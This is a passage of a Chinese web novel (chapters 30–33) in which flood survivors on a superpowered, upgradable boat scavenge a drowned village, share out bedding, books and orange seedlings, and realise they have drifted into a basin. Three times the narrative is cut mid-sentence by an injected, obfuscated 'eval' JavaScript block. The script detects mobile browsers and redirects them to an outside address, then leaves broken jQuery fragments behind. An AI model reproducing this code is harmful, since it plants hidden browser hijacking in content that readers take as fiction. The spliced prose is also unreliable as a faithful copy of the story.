她向远处飞去，也许她喜欢这样自由自在的感觉，并不需要一个落脚的地方。 苏凤晚见她走了，反而惋惜：“她挺厉害的，我们本来还有一个位置呢。” 只是拥有飞翔的能力，灵魂也如此无拘无束，并不想加入这艘船。 陈师望羡慕的看着远方，仰着头，久久收不回视线。 苏凤晚：“你也想上天？” 陈师望无辜地指指凹陷的雨棚：“被她踩烂了。” 插曲过后，众人继续前行。 像淮山这样难得还露出水面的陆地，原本应该是她们补充物资的来源，但现在那里有怪物把手，她们不敢回头。 查看过剩余物资，总人的心情焦躁不安起来。 “少了11个红薯，6个面包。饼干只剩下10个了。” 愁眉苦脸清算完剩余物资，就算不知道具体剩余物品，看看原本堆成小山的物资，再看看现在，众人都知道刚刚损失有多惨重。 “接下来由苏凤晚分配每天的口粮，规划好我们剩余的食物，陈师望钓上来的鱼，如果不好分配，就先养着，现在不赶时间，也更方便钓鱼。另外，有人如果还有获取物资的方法，或者其他想法，可以说出来，供大家参考。” 一时间，除了再进城市，寻找被洪水污染过的食物之外，没有人能给出另外的方案。 毕竟开源节流，七个人七张嘴，必要的开支肯定有，但开源也不容易，她们能上哪儿去找食物。 如此一来，那些活着的，未来有可能成为可持续粮食的——鸭子，螃蟹，植物变得更加宝贵。 鸭子各有归属，李自自告奋勇：“我来养螃蟹，其实如果有别的螃蟹，可能还会养出小螃蟹。” “好，我看看地图，如果有比较安全的地方，我们可以绕过去补充。” 其他的人也拿着地图研究起来。 离开陡峭的山地，进入到平换的地势，这里的水面平静许多。 离开陡峭山地，进入到平缓地势，这里的水面平静许多，却也不是一潭死水引人怀疑。 周莹在安静的氛围里醒来，迷茫地眨眨眼，侧眼，是熟悉又陌生的水面。 “也不知道水位怎么样，如果不深，其实可以下水看看。”陈师望看着水面，忽然发现周莹睁开了眼睛，“你醒了？升级成什么样了？” 周莹这才坐起来，挠了下头，发动能力。 “可以同时跟两个人说话了。” 她同时选中了苏凤晚和陈师望，两人都听见了这对话。 苏凤晚听见的是自己的声音，陈师望也是如此。 两人就像戴了单独的同声传译，除了周莹，她们可没有感觉到跟之前有什么变化。 虽然她们都能和周莹沟通，却不能彼此传递信息。 好像距离多人自由通话还有距离。 但—— “通话范围也有变化……一千米，大约更多？应该都能联系上。” 30.居所 周莹升级的效果还是很显著的，以后她们的通信距离变得更大，就算是搜寻物资不小心走远了，也能联系上。 回到船上后，萧顺清没有怎么说话。 但她本来话就少，也没有人发现她的目光似乎有些缥缈。 听到众人对周莹异能的交谈，萧顺清又回想起自己感觉到有人要升级的事。 只是直觉吗？ 那样缥缈的思绪，她其实也没有清晰的把握。 回过神，萧顺清将那说不清道不明的感觉抛在脑后。 根据地图和她们目前行驶途中所见风景来看，她们一直都在城郊边缘走，而且已经许久不见其他人影。 忽然间，船上的日子变得安稳起来。 白日里觅食养殖，晚上挨挨挤挤在一起休息。 虽然很累，却享受了一段难得的安心时光。 雨水都没怎么打湿衣服，偶尔看不见船外的世界，清晨醒来时，恍惚觉得自己已经回到了洪水来临前。 约莫两天后，萧顺清进入了升级状态。 她升级总是很快，也没有经验条，不知道究竟是什么行为让她能够升级得如此迅速。 而在萧顺清升级状态下，她依旧能够保持船的存在，能够做到如此，船上的其他人也不会慌乱。 萧顺清放松心态，进入如今重新修整出来的升级屋。 她很期待升级之后船的状态。 船上的人接二连三升级，虽然她确信自己是等级最高的，但还是觉得级别越高越好。 而从苏凤晚和周莹的异能升级来看，尽管无论异能怎么升级，都离不开原本的范畴。 她第一次升级时，似乎就只是船体变大，能够提供的空间更多，承载的重量更重，没有新奇的变化。 不过，就算没有其他变化，她也很知足，等级越高，越安全，这是显而易见的。 萧顺清似乎失去了意识，四肢仿佛都不属于自己，失去知觉，连疼痛都没有感觉到。 她飘在不知名的液体里，浑身被浓稠的粘液包裹，巨大的浮力让她有一种做梦的失重感。 朦胧中，她知道自己应该在升级，可因为并没有感觉到疼痛，她甚至觉得自己只是做了一个梦。 睁开眼，知觉回到体内，她的身体还懒洋洋的不想动弹。 “她醒了。” 带着笑意的女声在耳边响起，是丘莲。 萧顺清坐起来，回忆起这次升级的过程，还有升级之后对船的掌控力，她觉得还挺奇妙的。 冲着丘莲点头示意，离开了升级房，向外走去。 在她醒来之后，身体里好像充盈着力量，如果不释放出来，反而是有些难受。 来到外面，萧顺清遵循着力量的指引，盯着船头，下一刻，所有人都听见乒乒乓乓的装卸声。 整个船身都发生了巨大的改变。 船体增大了一圈，船头多出一个有窗口的小屋，里面能坐下一个人，看着倒像是普通船只的驾驶室，能够从窗口看见前方180度的水面状况。 驾驶室再往外一点，是船尖，此刻，它整齐的木板平摊光滑，没有一丝芒刺，更像是精心打磨上了桐油的甲板。 然而坐在船头的李自一摸，仿佛摸到了冰凉的金属。 这是……从木船变铁船了？ 变化还没结束，头顶传来咯吱咯吱的声音，那些防水的布料被变大的船拉扯撑开，苏凤莲连忙取下收好，布料外层的水落了一地。 但是，头顶却没有雨淋下来。 这艘船有顶棚了！ 不是她们东拼西凑拉扯起来的防水布料，而是完完整整，与船身紧密联合，不会有雨水渗进来的船顶， 左右两侧是镂空的窗户，窗外有长长的窗檐，从斜上方飘来的雨大部分被挡住，而往下一探则是冰凉的水。 窗下，船的内部还有完整一圈的铁皮座位，宽约1米。 船尾是三个房间，左右两边占地较小的是升级房和卫生间，比以前也大了些，更舒适了。 最末尾则是种植屋，一米多宽的过道，能够让她们进去劳作。 而三个屋子底部也有空间，是她们储存的食物和水。 这哪里是升级，分明是换了一艘船啊。 金属船的安全性不知高出多少，她们甚至能够各选一个角落躺下睡觉，这比之前挨挨挤挤要舒服上一万倍！ 沈金兰语气骄傲：“这次升级真是太厉害了。” 她很想直接夸奖孙女，不过萧顺清此时的表情好像并不算轻松，即使船变得如此豪华，她依旧皱着眉头。 陈师望和苏凤晚各将左右两边用塑料瓶装着的东西拿出来，收进如今绝对宽敞有余的铁船内。 船有了顶棚，那些东西不能再用绳子绑在两侧。 收整好之后，她们原本都想对萧顺清表示一下恭喜，这对于全船人来说可都是喜事。 但萧顺清揉着眉心，反而有些为难。 “怎么了？这不是升级成功了吗？” 萧顺清叹气：“以后船不能再缩小了。” 经过这次升级，她体内的能量似乎增长过多，一时让她觉得有些难以操控，体内储存所有的能力，必须释放出来，不然就会感觉到力量冲击肺腑。 如果她之前的能力是10，操控者艘船的速度花费4点能力，控制船体形态花费6点。想要加快速度，只需要减少控制船体形态的用量。 但是现在，她的整体能力增强，如果不将点数分配给船体形态多一些，那船速会瞬间失控，超出她能够控制的速度范围，也会让她不能及时根据水面情况进行调整。 将船固定成现在这样，她总算能够控制好体内能量的平衡。 如果将船收起来会发生什么，她没有说出口，但应该也不会是太好的结果。 尺有所长寸有所短，升级之后的船当然更舒适更宽敞，可是远没有以前灵活。 李自：“如今这样，顺其自然也好，总不会有十全十美的东西。” 萧顺清也不纠结了。 不就相当于将船暂时固定在这个大小吗，内部的改造也能消耗她的能力，她依旧能够控制速度和船内设施，甚至对于船的控制变得更加如鱼得水。 有了更宽敞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733442|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的居所，七人甚至可以划分自己睡觉的地盘。 她们分到几件衣服，铺在冰凉的金属船舱上。 “就是这衣服感觉潮潮的，要是以后能有烤火的地方就好了。” 苏凤晚看着已经起黑点的衣服，畅想着以后更好的生活。 陈师望看着卫生间：“别说烤火了，咱们是不是能舒舒服服洗澡了。” “换洗的衣服可干不了。” 说来尴尬，虽然大家都是文明人，但这种天气，没有烧火的东西，她们也都是洗冷水澡。 至于衣服，那是基本在半湿不干的状态下穿上的，总觉得自己一直都泡在水里。 “现在船这么严实，没有雨只有风，阴干的衣服也比这强。” “倒也是。” 众人开心地笑起来，她们规划着怎样能更舒适一些。 其实她们有打火机，但没有干燥的柴火，天又随时下雨，之前的船又是木质的顶棚是布料的，烧火没可能。 现在升级成为铁船，萧顺清倒是动了动念头。 以后在船上生活，没有火源确实不怎么方便，也许有机会可以搜刮到燃料，对船进行改造，能有个厨房吃吃热食就好了。 “阿嚏！” 丘莲是她们中身体最弱的，现在还持续感冒症状。 苏凤晚给她找了套衣服，能够保暖的那种，让她先擦擦身子换下来，至少比现在强。 丘莲进了卫生间，萧顺清看着所剩无几的干净衣服道。 “我们可以进城市一趟，现在船变大了，能够承载的物资更多，不用再紧着眼下有用的找。” 吃的和药品当然依旧重要，但是人类社会的其他产物也让人甚是想念。 “现在的船可不好隐藏。” 萧顺清没有说现在的船能够承载多少人，但此时不是船的问题，最大的问题是食物。 现在她们七人的消耗也不低，如果再加人，可能到时会出意外。 没有电子地图，她们只能在水面摸索前进，希望自己是走的正确道路，终于，她们看见了城郊。 城郊附近也修着不少房屋。 低矮的屋子被淹了大半，多数只剩下在地势高耸之地修建的楼顶。 “这里应该被淹得不久，怎么没人？” 她们仔细观察那些屋子里，确实没有人影。 按理说这里靠近第二阶梯，纵使附近有涨起来的河流，应该也不会完全不留活口，至少有逃命的时间。 “之前我有听过，不仅是沿海城市的人迁移，河流和湖泊水库附近也组织搬走了，应该是集体逃到了更高的地方。” 丘莲这么说着。 萧顺清从沿海地区开始迁移时，对外界的消息就开始模糊了，丘莲说的事很有可能，毕竟仅凭个人力量不会出现此时城郊空无一人的状况。 李自倒是也补充道：“其实一开始国家就在组织迁移，海平面上涨得那么快，内陆也不会安全，她们应该也是很早就往高原地带迁移了。” 确认这附近不会有什么危险，陈师望将一根杆子变得更长，放进水里试了试水位。 31.分配 “大概三米，水流也不急。” 陈师望测量的地方比较浅，船已经靠近到极限。 再近，船底就会撞上地面的东西。 船周水位最深的地方在船尾附近，大约六七米，比起湍急得深不见底的地方，这里很适合停靠和寻找物资。 第一批下水的李自和萧顺清，脱掉外套，身上绑着安全绳，她们的目的地是一个很快游到房屋内部。 常见的农村楼房，不知道底下有几层，但只剩下最后一层还露出水面，开放式大阳台，地面满是被风刮来的杂物。 玻璃窗被风剐碎，玻璃散落一地。 萧顺清翻翻那些垃圾，没有什么好的发现，倒是对那玻璃窗有点想法，开玩笑道：“要是能把窗户卸下来装到船上还挺不错。” 她们现在的窗户是铁窗，不开着就会使得整个船内黑漆漆的，开着又容易进雨水。 李自：“侵占她人私人财产，入室抢劫，最高……” 萧顺清无语盯着他，李自无可奈何摸摸光滑脑门：“开玩笑的，这种情况属于紧急避险。” 她们顺利进入屋内探索。 窗户玻璃都碎了，别说搬运不安全，走在地上都要小心别被扎穿脚。 萧顺清的奢望落空，她也不失望，毕竟现在人类世界的任何东西，对于现在的她们来说，好像都不错。 这里剩下的显然都是主人舍弃的东西，在命都快没有了的情况下，她们会带走的只有必备物品和最珍视的东西。 必备物品带走，萧顺清她们能够找到的东西自然很少。 简洁的房间内，东西所剩无几，无序且脏乱。 看样子主人走的时候能拿的都拿了，剩下的大家伙重东西就无能为力了。 “好久没躺过软床了，真想把床垫也薅走。” 不过就算力气再大，床垫也不好搬。 “这里有两个瑜伽垫不错。” 三楼应该原本住着女性，萧顺清将柜子里的剩余衣服折起来，塞进她们带过来的塑料瓶里。 春夏秋冬的都有，衣服质量不重要，她们身上的衣服来来回回换着穿，没干也得在身上穿着，多几套换洗的衣服，万一感冒了也能捂着。 厚实柔软的床垫折叠不了，塞不进塑料瓶。 不能防水，床垫不等带到船上就变成吸水炸弹，十分可惜。 很快，塑料瓶底部被衣物占满，萧顺清又放了两捆瑜伽垫。 两人在房内四处搜索，房间内的东西没有多少，吃的显然也是没有的。 李自发现一个柜子，上了锁。 找到钥匙打开，里面放着值钱的金银首饰。这些对她们来说才是完全没用，李自又将它锁上了。 打开各种柜子，都是些没用的东西，就算现在船内的空间够大，她们依旧不会往船上带。 搜寻了一圈，连床底储物柜都被掀开床垫都找了个遍，整间屋子简直被翻了一个底朝天。 “看来她们能带的都带走了。” 萧顺清找到了一点卫生巾，都被她带上了，抽纸也没放过。 她们船上的女性多，这种东西很稀缺。 她也发现了一些现金零钱，但比起这些，她觉得自己拿到的东西更有性价比，完全没碰那些钱，甚至摸了摸身上，想找点值钱的给放上。 当然，她是个穷光蛋。 最后，她把被套卷起来也塞进塑料瓶，棉被摸起来很湿润，但仍旧很软。 细数下来没几样东西。 但眼下这些床上用品，衣物和生活用品已经装满了塑料瓶子。 萧顺清招呼李自：“差不多了，叫她们先把这个拖回去吧。” 她看向李自，见他正在看地上散落着潮湿的书籍。 李自拿起一本，竟然是萧顺清之前一直想要找到有关种植的书。 “这些书能带吗？” 《常见农作物》，还有些植物科普书，各种书籍种类天差地别，科研、人文甚至还有娱乐圈人士出版的自传。 这些东西沉重又不能吃，对于逃命的人来说是累赘，好些书还被窗户飘进来的雨水泡烂了，字迹模糊不清不说，好些碎纸粘在地上扣不下来。 人类的文明用文字记载，也不知道洪水会不会消退。这些书籍不能将人们从灾难中拯救，但是或许有一天，它会成为珍贵的养料，传承人类的火种。 “那就带吧，不缺这点空间，说不定以后哪天还能用上。” 萧顺清和李自都开始捡地上散落的书籍，实在是救不回来，烂成一汪水的，她们也只能放弃。 “闲得无聊可以看看，还有圣经呢。” 萧顺清看着那本包装精美，沉重厚实的《圣经》，递给李自。 李自皱起眉头，圆溜溜的光头发出拒绝的抗议。 “拿回去烧还差不多，之前苏凤晚不是说要烤火，圣经……肯定经烧。” 他是道教徒，但她们总是因为对方的光头而忘记他的宗教信仰。 他自己没忘。 萧顺清翻到洪水灭世那一页，扯起一个嘲讽的微笑，却也不是对宗教有意见，她不满的谁都清楚。 “想活命，靠不了上帝。” 随手一番，便是洪水灭世。 她心情不好，连带着对有信仰的李自也有轻微的意见。 “其他教派的把经书扔了，你呢，你也没带？” “经文在心中，救己不救人。” 李自有着和他外表一样宽容的心，不在意萧顺清对他的迁怒。 她们收拾完毕，知识的重量不可小觑，满满当当的塑料瓶被放入水中，重得几乎只有瓶口还浮出水面。 二人从窗口翻到阳台，原路返回。 东西太重，两人都抵达船上，塑料瓶还没拉到目的地。 “你们这是找到什么好东西了，这么重。” “食粮。” 众人眼睛一亮，萧顺清擦擦头发末梢被打湿的部分，悠悠补充： “精神食粮。” 这可都是人类进步的阶梯啊。 这一批东西上岸之后，船微微后退，调整方向又再次开动，来到另一处楼房，这一回下水的是苏凤莲和陈师望。 她们两人水性都一般，好在没有遇到危险，顺利拿到一塑料瓶的物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737978|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 资。 先前看见萧顺清她们拿了被褥和衣服，这回她们也拿了。 依旧没食物，但她们拿了调料，好歹能算吃的。 最后一组是丘莲和周莹，周莹的水性最好，和身体一般的丘莲平均实力跟上一组差不多。 但论起幸运指数，她们就要更胜一筹了。 李自拉瓶子的时候甚至惊讶了一下：“好轻。” 紧接着，周莹的消息传递给了每一个船上的人。 “是发芽的橘子！” 喜出望外的众人看见瓶子里腐烂果子乐得要升天，这根本就不是发芽，最大的那株甚至看着有小臂长，根本就是果苗。 果苗栽种成功的概率可比单纯的种子发多了。 周莹找到了一堆橘子，这个天气，橘子根本不可能放得住，进那个屋子都感觉要被腐烂的味道熏吐了，可是两人都不不放弃，就想着万一有好的呢？ 但是比残存着完好水果更让她们开心的，是好多已经长出嫩嫩小苗的橘子堆。 想到丘莲身体太弱，周莹积极地承担了将果苗从完全腐烂的橘子堆里挑出来的任务。 丘莲柔和着嗓音道谢：“抱歉，本来应该是我照顾你的。” 她一个成年人，现在要让一个未成年的小姑娘体贴她，不说点什么感觉心里过意不去。 周莹摇摇头，没在意。 当务之急是把这些东西都运回去。 别的东西不能和果苗放在一起，果苗弄坏了她们心疼，其他物资弄脏她们也心塞。 所以她们只能先送一个接近没重量的“空”瓶子回去。 不过这屋子倒也没什么好搜的，剩下一些垃圾挑挑拣拣以后或许有用，但是看过让她们欣喜若狂的果苗之后，这些就有些寡淡了。 周莹跟萧顺清确认：“还要再找吗？我们没有别的瓶子。” 一次只带了一个装东西的瓶子，送了果苗回去，她们手里就空了，如果需要搜刮彻底，至少陈师望要送个瓶子过来。 还有人愿意下水送东西过来吗？ 萧顺清似乎跟其他人商量了一会儿，才道：“没什么重要的东西，先回来吧，保持体力。” 人不是永动机，节衣缩食的生活条件下，多跑一趟消耗的都是食物，她们都已经累了。 周莹和丘莲这次去已经是赚够本了。 尽管她们找到的东西分量最轻，可是论价值，没有什么东西能比得过。 等周莹她们回到船上，大家身体都很疲惫，精神上却很愉悦。 苏凤晚看看被褥，看看衣服，又看看那些果苗，都不知道该先收拾什么好。 沈金兰笑容满面：“我们以前种过橘子，我来种这些吧。” 农村人不单单只种某一样农作物，多少都会点。 以前家里种了各种柑橘，脐橙砂糖橘，什么都种过，萧顺清回想起来，也觉得奶奶应该能种活这些。 当然没有人反对。 关于剩下的东西分配倒起了一点小矛盾。 因为瑜伽垫只有两床，被子也只有两床，谁要被子谁要瑜伽垫，似乎关系到生活质量的问题。 32.方向 物资分配经过商议，没有纠结众人太久。 如今的天气分不清四季，他们逆流而上，总是向着高处在走。但是海拔还没到会让她们觉得寒冷的程度，只觉得每日都很闷热，下着雨也比不上从前吹着空调睡觉的日子。 是以没人觉得晚上需要盖着被子睡觉，最多拿着衣服盖盖肚子。 两床被子更软，面积更大，铺在地上，女性们可以睡在上面，也可以坐着，比冰凉得像是坐在水里好得多。 两个男的分到了一床瑜伽垫，不算顶软和，也还不赖。 剩下一床放进升级房，让升级中承受痛苦的人能够好受些。 各自收拾好自己平日睡觉的小角落，她们看起来十分轻松愉悦。 丘莲：“真好，有时候感觉这不是洪水逃难，是一场旅行而已。” 好像她们只是坐着一艘船，在无边无际的大海上游玩，不会忧愁海水的猛浪，不会忧愁明日的食物够不够吃。 也不会忧愁，什么时候，才能上岸。 苏凤晚的目光柔和，却只是笑了笑，没有说什么。 一转头，却见萧顺清坐在船头甲板，膝上放着一本书，目光看着船外的水面，好像在发呆。 周莹歪了歪头，戳戳苏凤晚，在她做好准备后便在她耳边道： “萧顺清姐姐好像和刚认识时不太一样。” 苏凤晚的回忆被拉回她们第一次见面，逃难途中。 其实那时的萧顺清和现在才是一模一样。 是个安静的，却并不冰冷的女孩。 她以为萧顺清是受不了等待死亡要跳窗，却没想到，她只是在追寻希望。 后来她仰仗萧顺清生活，好像一直隐隐怕她，总觉得萧顺清是个冷冰冰的人，甚至可以说铁石心肠。 对于会危害到自己的人，连一丝余地也不留下，会斩草除根。 周莹：“我被救起来的时候，她发现我不是你，像是要吃了我。” 其实只是崩溃了，紧绷的神经在那一瞬间断裂，需要一个出口，或许是因为萧顺清不知道自己究竟还能不能救下苏凤晚，不知道未来的她们会不会步上死亡的后尘。 她似乎将船上人的命挂在自己身上，发现自己没有能力保护好自己想要保护的人，她也会情绪失控。 如今船上的状况，加上眼下的世道，让她们很少谈论起以前的职业。 苏凤晚其实是个心理医生，但因为一些事，导致她在洪水来临前就失去了工作，现在却改不了自己的职业病，试图分析萧顺清转变的心理原因。 苏凤晚小声道：“总归是好的变化。” 她们都度过了最艰难最崩溃的时候，未来也会好好生活，也许某一天，洪水会退去，大陆会重新露出水面。 沈金兰从种植屋里出来，迈着步子走到萧顺清身边。 “顺清。” 萧顺清如梦初醒，看见老人，叫了一声奶奶。 沈金兰眼里是笑意，抚摸着她的头。 “是不是累了？有时候，可以慢慢来，别着急。” 萧顺清不知道自己有没有着急。 但她心里却清楚，她并不轻松。 也许现在的生活能够让她暂时放缓脚步，但危机就像是船下的水面，看似已经屈服于人类的铁船，却随时有可能掀翻一切，将她们的所有都夺去。 她不喜欢这样时时刻刻逃命的感觉，也很想能够有朝一日安安稳稳地躺在被子里，不用管船开到了哪里，痛痛快快的睡上一觉，做一个冗长的梦。 萧顺清便笑笑，看起来难得柔软：“嗯，也不知道现在的时间，说不定是什么节日呢。” 也不知道，她们牵挂的人还是否安好。 在平静航行的日子里，她们迎来了第一个好消息。 四只小鸭子茁壮成长，已经褪去了自己的黄色羽毛，慢慢穿上麻花样式的衣服。 娇嫩的扁嘴已经成长为坚硬的喙，偶尔扑腾着，几次想要飞出窗外，钻进茫茫的大海里。 这广阔水面会掀起的浪，可不是几只刚刚长齐羽毛，连蛋都没下过的小鸭子能够驾驭的。 陈师望把放大的矿泉水瓶剪开做成栅栏，路过危险的水面就将它们收到船内，平静的水面就放进水里，让它们游动游动。 看着那简易的鸭笼，萧顺清倒是觉得以后可以开个养殖屋。 现在人禽处在同一个空间内，还是有些不舒服。 鸭子会排泄，眼下也只是人类暂时忍受着这样的状况罢了。 这日，船上，沈金兰和李自都进入了升级状态。 李自盘腿坐在瑜伽垫上，虽然看着像个高僧，不过大家都知道他嘴里念的是道经。 他将升级房让给了沈金兰，在里面升级不会被人打扰。 萧顺清看看升级房，又看看闭目的李自。 就在刚刚，两人宣布自己要升级的时候，萧顺清的脑子里好像又出现一种微妙的感觉。 这一次，也许是因为同时有两个人升级，她的感受更加明显。 让她想起了之前周莹的那次升级，她也是提前知晓。 所以在船上的人升级，她会有提前感知的能力？可是上次周莹可不在船上，而是在防护罩内。 萧顺清没有头绪，或许这只是一个她的特殊能力，与船没有关系。 她收回心神，皱起眉头思考另外一件事。 虽然有地图，但看地图也是白看，没有地理标志，她们已经很久无法确定自己究竟在哪儿了。 尽管一直在往高处走，但是或许她们只是往一座山走而已。 船的速度开始放缓，只留与水流阻力相互抵消的程度。 借着有两个人同时升级的机会，她也把船速放慢到几乎静止，远眺着雨雾里的山峰，凭借人眼，没法看清。 船外下着雨，这会儿天上跟漏了一样，下着拇指粗细的大雨。 水面正常的起伏着，没有什么异样。 萧顺清回过头对醒着的人商量：“我们靠近山那边看看。” 她们想进入高原，但有可能走错了方向，最近的水面都很平静，似乎底下的地势平缓，没有高低差距形成的流动。 船已经脱离了山地地形。 但按理说进入高原，水位应该会变浅，可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741614|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她们却没有始终没有看见大片大片露出水面的陆地。 陈师望：“那是什么山？” 萧顺清摇头：“不清楚，你们有人熟悉这里的路吗。” 她虽然是在问，但并不是疑问的语气。 她觉得，就算是以前旅游来过这儿，称得上熟悉，看着现在的样子应该也认不出来了。 果然，苏凤晚洪水来临前经常旅游，也曾经到过布鲁高原，但是眼下她可不敢打包票这是她见过的哪座山。 “怎么还有这么多山，是不是我们又绕回去了？我听说海面上没有罗盘会迷失方向，船在海面上以为驶出很远，但其实只是打转。” “百慕大三角吗？”丘莲也参与讨论。 大家倒是都知道百慕大三角，但经丘莲一提才隐约意识到在这样的水面是很容易失去方向的。 也很危险。 “咱们又没有GPS定位系统……”陈师望挠头。 萧顺清还是想叹气，想那些可没有什么用，还是先靠近山上看看有没有什么线索能够确认目前的位置吧。 她已经快怀疑自己没有分清东南西北了。 水面淹没的地方越多，地面上的标识就越少。 最初时候她们能够根据一些建筑物辨别确认行进方向，眼下却是拿着一份地图干想。 不如主动靠近山地，看看有没有什么线索，万一还能拿点物资呢。 靠近山地。 离山体还有些距离时，她们便感觉到船身撞上了地面。 这座山并不陡峭，山体和平地之间的缓冲地带就在船下。 萧顺清微微仰头看，山上的树木有些被冲垮了，被泥浆裹满，隐隐露出绿色的枝叶。 还有一部分树木，并没有被这泥水影响，反而在大雨冲刷下显得干净翠绿。 丘莲看着山上的树，喃喃道：“好像不是高原地带的树木。” 好似自言自语的话，被萧顺清听得清清楚楚，她立刻问道：“什么意思，怎么说？” 丘莲体弱，在这群有异能的人里保持着一个合适的平衡，除了周莹，跟谁都是普通关系，是以没人知道她能做些什么。 面对几人探究的目光，丘莲很淡定。 “稍等，我再看看。” 萧顺清看了一眼水面，驱船绕着山慢慢航行一会儿，让丘莲能够看得更清楚。 “这里应该是常绿阔叶林带。” 陈师望：“什么东西？” 萧顺清高中学的理科，一时也没有反应过来这是什么意思。 苏凤晚皱着眉回想：“我们国家的常绿阔叶林……不是应该在南方低纬度地区吗？布鲁高原可是温带气候。” 听这两人的意思，她们是板上钉钉的走错了地方。 应该是整个方向都走错了，她们在不知不觉中来到了较低维度的地方。 萧顺清：“……” “所以，我们应该调转方向？” 她看向丘莲，丘莲还是一脸奇怪： “这都是山顶了，居然还是阔叶林，这山怎么这么矮……等等，我知道了，我们好像进入优山盆地了。” 33.地生 没有标准答案参考，这也不是地理试卷的纸上谈兵。 丘莲的语气并不笃定，但萧顺清选择了相信。 毕竟没有其他人能够给出另外的答案。 而且这个答案听起来有理有据，十分合理，在她看来逻辑缜密。 第二阶梯地形除了以山地高原为主，还有著名的优山盆地。 看似是高原陷落的地方，实际海拔也在第三阶梯之上，又与周围的山地形成落差，变成一个盆地。 这样的大雨，就像是一个水盆，“肥水不流外人田”，将天上的雨都接住了。 水上涨的速度可想而知。 水面底下应该不算缓冲地带，而是被淹没了大部分山。 “那如果是优山盆地的话，咱们的方向也没有偏离多少，继续北上，不管是东北还是西北，总能到的。” 萧顺清点头，不过，听说这里有可能是优山盆地后，她提出了另一个想法。 “优山盆地物产丰富，这山里……或许也有很多值得搬上船的资源。” 优山盆地作为高原的奇葩，其物产之丰富，就算不学地理的人也有了解。 靠山吃山，山林的资源本就丰富，更别说优山盆地内的山峰。 眼下尽管优山盆地大部分已经被水淹没，但是她们都隐隐有一种来都来了的想法。 搜寻物资的主力有李自一个，她们绕着这座盆地内“高峰”打转，力求找到最合适的上岸点，同时也等待着李自的醒来。 萧顺清的目光落在丘莲身上，忽然问道：“你不是幼师吗？怎么会对地理知识这么了解。” 丘莲笑笑，眼里有一丝自豪：“其实，我大学学的地理，本来考了地理教师资格证。” 苏凤晚好奇：“那怎么会当幼师。” 丘莲尴尬，又觉得无语：“因为我家里人想让我考编制回老家，但是……太卷了！我实在没卷过，所以她们把我塞进幼儿园里当老师。” 她咧咧嘴角，看似抱怨以前的生活，又好像在惋惜：“高中地理教资跟幼儿教师资格证不通用，我还在考证呢，没证下来，我都还是个合同工……幼儿园的编制也很卷的，我还去考了钢琴证书和育婴证，不过现在嘛，都用不上了。” 周莹看着她的眼睛亮晶晶的，在本子上写道：“你真厉害。” 丘莲笑笑，倒是没有谦虚。 其他人也笑起来，心情轻松。 她们停在一个落脚点，这里船已经开不过去了，但水深还有两米。 陈师望照旧钓鱼，又把鸭子放进水里让它们自己觅食。 小鸭子能下水之后，她们就不用喂太多吃食，反正偶尔下水一趟，它们吃到的小鱼小虫应该不少，肚子都鼓鼓的。 萧顺清和苏凤晚先上岸探路，其他人在船上守着。 因为山上的老树盘根错节，将泥土禁锢在根系下，地面的情况比萧顺清想象的好得多。 裸露在地表的泥土依旧被冲刷得干干净净，但是比起之前见过的山头，这里的地面可以算得上完整。 木船升级后，她们都尽量保持身上的干燥，这会出来也是裹着用防水布料做的简易雨衣。 走动间，雨衣的下摆总是会剐蹭到树枝，幸好只是刮破了衣服。 苏凤晚拉扯着雨衣，捂着脑袋。 “林子里的雨好像更大啊。” 大雨其实很公平，并没有厚此薄彼在山林特意加大雨量。 她感觉到头顶像被冰雹砸了一样疼，是因为水珠挂在树梢上，像是瞄准一样投射水弹。 萧顺清微微抬头，没看见冰雹，倒是看见了半个蜂窝，摇摇欲坠，看起来马上就要断裂。 她眼睛微微睁大，立刻道：“小心！” 苏凤晚一惊，头也不敢抬地向萧顺清跑了几步。 两人一起抬头向上看，都发现了那半个蜂窝的惨状。 蜂筑巢会挑选少雨的地方，密林能够为它们遮风挡雨，想来这个蜂巢的蜂没有料到会遇见这么持久的大暴雨。 影响了整个山体，覆巢之下，这些蜂子也没有办法保存自己的家园，也许曾经为它们遮风挡雨的树枝已经断了，因为她们还看见了满地的断裂树枝。 萧顺清只是看它晃悠晃悠，不知被哪滴水球砸中，似乎很快就要从树上砸下来，要是苏凤晚一直站在那儿，也不知道会不会被砸个透心凉。 很快，啪嗒一声，蜂巢的一部分落在地上，经过这么久的雨，它竟然还保留着蜂巢的纹理。 萧顺清走上前，捡起来看。 “好像是蜜蜂的巢。” 野外的蜂很危险，大多数是能致人于死地的马蜂。 而萧顺清在这蜂巢内发现了一只毛茸茸小蜜蜂的尸体。 “那有蜂蜜吗？” 萧顺清又看看树上的剩余蜂巢。 “这一块看着不像有的样子，我上树看看。” 